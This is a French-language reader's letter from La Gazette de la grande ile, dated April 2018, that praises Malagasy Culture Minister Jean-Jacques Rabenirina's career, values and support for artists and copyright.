La Gazette de la grande ile

Courrier des lecteurs: PLAIDOYER POUR UN CHANTRE DE LA « CULTURE MALAGASY »

Publié le 13 avril 2018

CULTURE ?…, et de surcroît CULTURE MALAGASY ? Quand on en parle dans les salons, surgissent immanquablement les noms d’anciens Ministres « exceptionnels » tels que Gisèle RABESAHALA (IIème République) ou TSILAVINA RALAINDIMBY (début de la IIIème République). Celui-ci en particulier, bien que décédé fin février dernier, fait toujours parler de lui. A preuve, pas plus tard que Mardi dernier (10 Avril), un quotidien de la place évoquait le «casting quatre étoiles » impressionnant que « TSI-TSI » formait avec ELIE RAJAONARISON grande figure culturelle disparue il y a deux ans et JEAN-JACQUES RABENIRINA, l’actuel Ministre de la Culture, de l’Artisanat et de la Sauvegarde du Patrimoine.

C’est de ce dernier que je voudrais apporter mon humble témoignage car il partageait – il partage toujours – avec ses deux ex-compères disparus un art consumé de mettre l’imagination et l’audace au pouvoir. RABENIRINA en effet ne prétend pas avoir été le COACH ni le MENTOR de TSILAVINA. Il était un de ses conseillers et surtout son propre confident. Mais il partageait avec ses deux grands amis – dans une époque qui avait besoin de CULOT – une démarche faite de générosité.

Cinquante-sept ans, marié et père de 4 enfants, Jean-Jacques RABENIRINA fait partie incontestablement des élites de la Grande Ile. Parcours scolaire à succès à Fort-Dauphin, poursuivi après le Bac à l’Université de Tuléar (licence ès lettres), puis à la SORBONNE (Paris) et BORDEAUX où il décrocha une Maîtrise des Sciences Sociales avec à la clé une thèse sur l’ANTHROPOLOGIE SOCIALE et la CULTURE (en 1998). Il s’enorgueillit à l’époque d’avoir pour Mentor (et Directeur de Thèse) un certain Pr EUGENE MANGALAZA, qui fut un éphémère Premier Ministre sous la Transition. Rentré à Madagascar en 2002, il travailla comme Directeur interrégional de l’Administration territoriale sous la houlette du Ministre REBOZA. Mais ce fut ensuite le début d’une carrière politique exemplaire, marquée par des mandats de Ministre lors de trois régimes successifs (IIIème République sous RAVALOMANANA, la Transition de RAJOELINA, l’actuelle IVème République de RAJAONARIMAMPIANINA). Un parcours hors norme marqué également par des mandats parlementaires (notamment comme député sous la IIIème République et comme Conseiller Supérieur sous la Transition).

Jean-Jacques RABENIRINA s’est ainsi forgé une haute idée de la Politique. Il a su notamment bien cibler son engagement politique qui exige que l’on sache se tenir ou plutôt se contenir. Il s’attache notamment avec constance au principe républicain de la volonté politique, inspiré par l’intérêt général, et du respect permanent des valeurs démocratiques. Il observe en particulier le sacro-saint respect de la parole donnée, et cultive en permanence sa capacité d’écoute des désidératas du peuple, dont les besoins sont légitimes (sécurité, éducation, santé, autosuffisance alimentaire), S’il encourage les actions humanitaires telles que celles du Père Pedro, ou les activités des entreprises privées ou étrangères, cela ne l’empêche pas de militer pour la satisfaction des besoins quotidiens de la Population. Enseignant-chercheur par ailleurs (entre deux mandats politiques), il a à cœur d’inculquer toujours à ses étudiants la fierté d’être Malagasy et l’esprit de dépassement. Comme Ministre de la Culture, RABENIRINA a toujours su partager sa véritable passion pour tout ce qui touche l’ART en général. Il ne peut concevoir le bonheur de vivre sans discussions passionnées avec des créateurs ou des artistes car il aime bien leur monde, leur liberté et leur imagination. Il remet des décorations aux plus méritants, il a instauré pour la première fois à Madagascar une loi sur la production artistique et cinématographique, fait participer les artistes malgaches à des festivités internationales (Inde, Europe, Afrique etc…). Le Ministre RABENIRINA est également un farouche avocat des droits d’auteurs car pour lui, il s’agit d’une question centrale puisqu’il s’agit de garantir ni plus ni moins leur liberté de création. On peut lui dire : « SALUT L’ARTISTE !… »

RAZAKA HAJA

Soavimasoandro

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